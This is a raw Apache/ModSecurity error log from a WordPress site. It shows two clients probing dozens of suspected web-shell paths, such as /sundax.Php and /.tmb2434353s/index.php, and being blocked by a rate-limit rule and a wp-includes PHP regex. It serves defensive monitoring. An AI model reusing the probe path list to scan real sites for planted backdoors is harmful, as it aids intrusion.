[Sat Feb 28 14:36:17.637906 2026] [:error] [pid 52460:tid 52468] [client 20.151.113.230:12253] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mjq.php"] [unique_id "aaKM4bLWOogAgHGh62RwlAAAAYU"]
[Sat Feb 28 14:36:18.052974 2026] [:error] [pid 22194:tid 22214] [client 20.151.113.230:12203] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mjq.php"] [unique_id "aaKM4n6mbajs3bzQGytYIAAAAVI"]
[Sat Feb 28 14:36:18.466014 2026] [:error] [pid 52460:tid 52464] [client 20.151.113.230:12125] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mjq.php"] [unique_id "aaKM4rLWOogAgHGh62RwmQAAAYE"]
[Sat Feb 28 14:36:18.892680 2026] [:error] [pid 39184:tid 39222] [client 20.151.113.230:12247] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php7"] [unique_id "aaKM4ltZF9Zd_U7easDt5QAAAEM"]
[Sat Feb 28 14:36:19.310983 2026] [:error] [pid 39292:tid 39299] [client 20.151.113.230:12188] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php7"] [unique_id "aaKM46IAO5fN7BxyqcHvcwAAAMU"]
[Sat Feb 28 14:36:19.725909 2026] [:error] [pid 39292:tid 39309] [client 20.151.113.230:12193] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php7"] [unique_id "aaKM46IAO5fN7BxyqcHvdgAAAM8"]
[Sat Feb 28 14:36:20.140156 2026] [:error] [pid 39185:tid 39262] [client 20.151.113.230:12131] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php7"] [unique_id "aaKM5BVE-FfM89u7BQYeiAAAAJA"]
[Sat Feb 28 14:36:20.558481 2026] [:error] [pid 39185:tid 39267] [client 20.151.113.230:12244] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sc.php"] [unique_id "aaKM5BVE-FfM89u7BQYeiwAAAJU"]
[Sat Feb 28 14:36:20.978554 2026] [:error] [pid 52460:tid 52467] [client 20.151.113.230:12277] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sc.php"] [unique_id "aaKM5LLWOogAgHGh62RwnwAAAYQ"]
[Sat Feb 28 14:36:21.398289 2026] [:error] [pid 52460:tid 52481] [client 20.151.113.230:12148] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sc.php"] [unique_id "aaKM5bLWOogAgHGh62RwogAAAZI"]
[Sat Feb 28 14:36:21.814152 2026] [:error] [pid 52460:tid 52468] [client 20.151.113.230:12142] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sc.php"] [unique_id "aaKM5bLWOogAgHGh62RwpQAAAYU"]
[Sat Feb 28 14:36:22.237254 2026] [:error] [pid 39184:tid 39231] [client 20.151.113.230:12211] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sql.php7"] [unique_id "aaKM5ltZF9Zd_U7easDt6QAAAEw"]
[Sat Feb 28 14:36:22.654270 2026] [:error] [pid 11791:tid 11803] [client 20.151.113.230:12190] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sql.php7"] [unique_id "aaKM5muX5e1Q32gqxH1IWQAAAQo"]
[Sat Feb 28 14:36:23.064423 2026] [:error] [pid 39185:tid 39259] [client 20.151.113.230:12147] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sql.php7"] [unique_id "aaKM5xVE-FfM89u7BQYekQAAAI0"]
[Sat Feb 28 14:36:23.481149 2026] [:error] [pid 52460:tid 52476] [client 20.151.113.230:12273] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sql.php7"] [unique_id "aaKM57LWOogAgHGh62RwrAAAAY0"]
[Sat Feb 28 14:36:23.894607 2026] [:error] [pid 22194:tid 22197] [client 20.151.113.230:12135] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55.php"] [unique_id "aaKM536mbajs3bzQGytYIgAAAUE"]
[Sat Feb 28 14:36:24.310842 2026] [:error] [pid 39185:tid 39255] [client 20.151.113.230:12216] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55.php"] [unique_id "aaKM6BVE-FfM89u7BQYelQAAAIk"]
[Sat Feb 28 14:36:24.729295 2026] [:error] [pid 11791:tid 11812] [client 20.151.113.230:12222] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55.php"] [unique_id "aaKM6GuX5e1Q32gqxH1IXQAAARM"]
[Sat Feb 28 14:36:25.141031 2026] [:error] [pid 11791:tid 11805] [client 20.151.113.230:12116] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55.php"] [unique_id "aaKM6WuX5e1Q32gqxH1IXwAAAQw"]
[Sat Feb 28 14:36:25.553192 2026] [:error] [pid 39185:tid 39268] [client 20.151.113.230:12278] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc.php"] [unique_id "aaKM6RVE-FfM89u7BQYeogAAAJY"]
[Sat Feb 28 14:36:25.965450 2026] [:error] [pid 52460:tid 52468] [client 20.151.113.230:12156] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc.php"] [unique_id "aaKM6bLWOogAgHGh62RwtgAAAYU"]
[Sat Feb 28 14:36:26.378781 2026] [:error] [pid 39184:tid 39236] [client 20.151.113.230:12072] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc.php"] [unique_id "aaKM6ltZF9Zd_U7easDt8wAAAFE"]
[Sat Feb 28 14:36:26.791694 2026] [:error] [pid 11791:tid 11796] [client 20.151.113.230:12041] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc.php"] [unique_id "aaKM6muX5e1Q32gqxH1IYgAAAQM"]
[Sat Feb 28 14:36:27.204809 2026] [:error] [pid 39183:tid 39205] [client 20.151.113.230:12079] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aaKM6xCf4HvhVePw3Lb35wAAAA0"]
[Sat Feb 28 14:36:27.617732 2026] [:error] [pid 39185:tid 39268] [client 20.151.113.230:12129] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aaKM6xVE-FfM89u7BQYergAAAJY"]
[Sat Feb 28 14:36:28.031023 2026] [:error] [pid 39185:tid 39254] [client 20.151.113.230:12201] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aaKM7BVE-FfM89u7BQYeswAAAIg"]
[Sat Feb 28 14:36:28.444010 2026] [:error] [pid 39185:tid 39249] [client 20.151.113.230:12228] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aaKM7BVE-FfM89u7BQYeuQAAAIM"]
[Sat Feb 28 14:53:37.842368 2026] [proxy_fcgi:error] [pid 52460:tid 52477] [client 13.71.191.191:11544] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:53:38.066110 2026] [proxy_fcgi:error] [pid 52460:tid 52474] [client 13.71.191.191:11544] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:53:38.706470 2026] [:error] [pid 52460:tid 52463] [client 13.71.191.191:11544] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/index.php"] [unique_id "aaKQ8rLWOogAgHGh62R7xgAAAYA"]
[Sat Feb 28 14:53:39.647871 2026] [proxy_fcgi:error] [pid 39185:tid 39256] [client 13.71.191.191:64981] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:53:39.977024 2026] [:error] [pid 39185:tid 39267] [client 13.71.191.191:64981] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/termps.php"] [unique_id "aaKQ8xVE-FfM89u7BQYx5QAAAJU"]
[Sat Feb 28 14:53:40.985953 2026] [:error] [pid 11791:tid 11808] [client 13.71.191.191:11536] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/capabilities1.php"] [unique_id "aaKQ9GuX5e1Q32gqxH1R4AAAAQ8"]
[Sat Feb 28 14:53:41.446186 2026] [proxy_fcgi:error] [pid 11791:tid 11812] [client 13.71.191.191:64920] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:53:41.651947 2026] [:error] [pid 11791:tid 11816] [client 13.71.191.191:64920] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/file2.php"] [unique_id "aaKQ9WuX5e1Q32gqxH1R5QAAARc"]
[Sat Feb 28 14:53:42.088875 2026] [:error] [pid 39185:tid 39251] [client 13.71.191.191:11545] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/file2.php"] [unique_id "aaKQ9hVE-FfM89u7BQYx8gAAAIU"]
[Sat Feb 28 14:53:42.505707 2026] [:error] [pid 22194:tid 22220] [client 13.71.191.191:64960] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/file2.php"] [unique_id "aaKQ9n6mbajs3bzQGyterQAAAVg"]
[Sat Feb 28 14:53:42.956800 2026] [:error] [pid 22194:tid 22205] [client 13.71.191.191:11583] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/file2.php"] [unique_id "aaKQ9n6mbajs3bzQGytergAAAUk"]
[Sat Feb 28 14:53:43.447748 2026] [:error] [pid 39185:tid 39267] [client 13.71.191.191:64967] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/preferences/admin-ajax.php"] [unique_id "aaKQ9xVE-FfM89u7BQYyAQAAAJU"]
[Sat Feb 28 14:53:43.926163 2026] [:error] [pid 39185:tid 39266] [client 13.71.191.191:64985] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ddgg.php"] [unique_id "aaKQ9xVE-FfM89u7BQYyBwAAAJQ"]
[Sat Feb 28 14:53:44.530057 2026] [:error] [pid 39185:tid 39257] [client 13.71.191.191:64987] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ddgg.php"] [unique_id "aaKQ-BVE-FfM89u7BQYyEAAAAIs"]
[Sat Feb 28 14:53:45.004878 2026] [:error] [pid 39292:tid 39294] [client 13.71.191.191:11541] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ddgg.php"] [unique_id "aaKQ-aIAO5fN7BxyqcH1bAAAAMA"]
[Sat Feb 28 14:53:45.659283 2026] [:error] [pid 39185:tid 39257] [client 13.71.191.191:64964] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/cache.cleaner.php"] [unique_id "aaKQ-RVE-FfM89u7BQYyFQAAAIs"]
[Sat Feb 28 14:53:46.750565 2026] [:error] [pid 11791:tid 11797] [client 13.71.191.191:11571] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/cache.cleaner.php"] [unique_id "aaKQ-muX5e1Q32gqxH1R9QAAAQQ"]
[Sat Feb 28 14:53:47.783675 2026] [:error] [pid 39185:tid 39262] [client 13.71.191.191:11578] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/cache.cleaner.php"] [unique_id "aaKQ-xVE-FfM89u7BQYyIgAAAJA"]
[Sat Feb 28 14:53:48.265813 2026] [:error] [pid 39184:tid 39240] [client 13.71.191.191:11546] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/cache.cleaner.php"] [unique_id "aaKQ_FtZF9Zd_U7easDyWwAAAFU"]
[Sat Feb 28 14:53:48.841829 2026] [:error] [pid 22194:tid 22197] [client 13.71.191.191:11557] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/ourLB.php"] [unique_id "aaKQ_H6mbajs3bzQGytetwAAAUE"]
[Sat Feb 28 14:53:49.605968 2026] [:error] [pid 39185:tid 39263] [client 13.71.191.191:11527] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.tmb2434353s/index.php"] [unique_id "aaKQ_RVE-FfM89u7BQYyMAAAAJE"]
[Sat Feb 28 14:53:50.109465 2026] [:error] [pid 22194:tid 22218] [client 13.71.191.191:11579] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.tmb2434353s/index.php"] [unique_id "aaKQ_n6mbajs3bzQGyteugAAAVY"]
[Sat Feb 28 14:53:50.620998 2026] [:error] [pid 52460:tid 52470] [client 13.71.191.191:11525] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.tmb2434353s/index.php"] [unique_id "aaKQ_rLWOogAgHGh62R75wAAAYc"]
[Sat Feb 28 14:53:51.167371 2026] [:error] [pid 11791:tid 11806] [client 13.71.191.191:64975] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.tmb2434353s/index.php"] [unique_id "aaKQ_2uX5e1Q32gqxH1SCQAAAQ0"]
[Sat Feb 28 14:53:51.674084 2026] [:error] [pid 52460:tid 52473] [client 13.71.191.191:64986] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bolster-theme/include/lang_upload.php"] [unique_id "aaKQ_7LWOogAgHGh62R76wAAAYo"]
[Sat Feb 28 14:53:52.178593 2026] [:error] [pid 39185:tid 39256] [client 13.71.191.191:11572] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bolster-theme/include/lang_upload.php"] [unique_id "aaKRABVE-FfM89u7BQYyNQAAAIo"]
[Sat Feb 28 14:53:52.803381 2026] [:error] [pid 52460:tid 52467] [client 13.71.191.191:11540] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bolster-theme/include/lang_upload.php"] [unique_id "aaKRALLWOogAgHGh62R78gAAAYQ"]
[Sat Feb 28 14:53:53.474792 2026] [:error] [pid 39292:tid 39318] [client 13.71.191.191:11535] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bolster-theme/include/lang_upload.php"] [unique_id "aaKRAaIAO5fN7BxyqcH1gQAAANg"]
[Sat Feb 28 14:53:53.975317 2026] [:error] [pid 22194:tid 22197] [client 13.71.191.191:11577] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sundax.Php"] [unique_id "aaKRAX6mbajs3bzQGytexwAAAUE"]
[Sat Feb 28 14:53:54.434857 2026] [:error] [pid 52460:tid 52478] [client 13.71.191.191:64962] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sundax.Php"] [unique_id "aaKRArLWOogAgHGh62R7-gAAAY8"]
[Sat Feb 28 14:53:54.876494 2026] [:error] [pid 52460:tid 52472] [client 13.71.191.191:11574] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sundax.Php"] [unique_id "aaKRArLWOogAgHGh62R7_gAAAYk"]
